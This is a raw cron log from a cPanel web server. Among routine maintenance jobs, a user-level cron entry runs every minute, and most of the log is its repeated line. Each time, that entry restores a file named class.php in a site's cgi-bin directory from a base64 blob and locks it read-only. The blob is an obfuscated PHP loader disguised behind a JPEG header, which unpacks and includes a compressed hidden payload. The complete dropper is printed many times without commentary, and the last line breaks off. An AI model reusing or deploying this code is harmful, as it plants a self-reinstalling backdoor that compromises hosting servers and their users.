Sep 11 00:10:01 server CROND[2715]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 00:10:01 server CROND[2717]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 00:10:01 server CROND[2726]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:10:01 server CROND[2734]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 00:10:01 server CROND[2736]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 00:10:01 server CROND[2737]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 00:10:01 server CROND[2735]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:10:01 server CROND[2755]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 00:11:01 server CROND[3548]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:11:01 server CROND[3549]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:11:01 server CROND[3550]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 00:12:01 server CROND[3936]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 00:12:01 server CROND[3943]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 00:12:01 server CROND[3944]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:12:01 server CROND[3947]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:13:01 server CROND[4315]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:13:01 server CROND[4314]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:13:01 server CROND[4316]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 00:14:01 server CROND[4788]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 00:14:01 server CROND[4789]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:14:01 server CROND[4790]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:15:01 server CROND[5190]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 00:15:01 server CROND[5192]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 00:15:01 server CROND[5199]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:15:01 server CROND[5200]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 00:15:01 server CROND[5205]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep 11 00:15:01 server CROND[5209]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 11 00:15:01 server CROND[5208]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 11 00:15:01 server CROND[5210]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 00:15:01 server CROND[5211]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 00:15:01 server CROND[5207]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:16:01 server CROND[6126]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:16:01 server CROND[6127]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 00:16:01 server CROND[6128]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:17:01 server CROND[6517]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:17:01 server CROND[6518]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 00:17:01 server CROND[6519]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:18:01 server CROND[6902]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 00:18:01 server CROND[6904]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:18:01 server CROND[6903]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:19:01 server CROND[7418]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 00:19:01 server CROND[7419]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:19:01 server CROND[7420]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:20:02 server CROND[7806]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 00:20:02 server CROND[7807]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 00:20:02 server CROND[7811]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 00:20:02 server CROND[7812]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:20:02 server CROND[7815]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 00:20:02 server CROND[7814]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 00:20:02 server CROND[7817]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 00:20:02 server CROND[7819]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:20:02 server CROND[7818]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 00:21:01 server CROND[8647]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 00:21:01 server CROND[8648]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:21:01 server CROND[8649]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s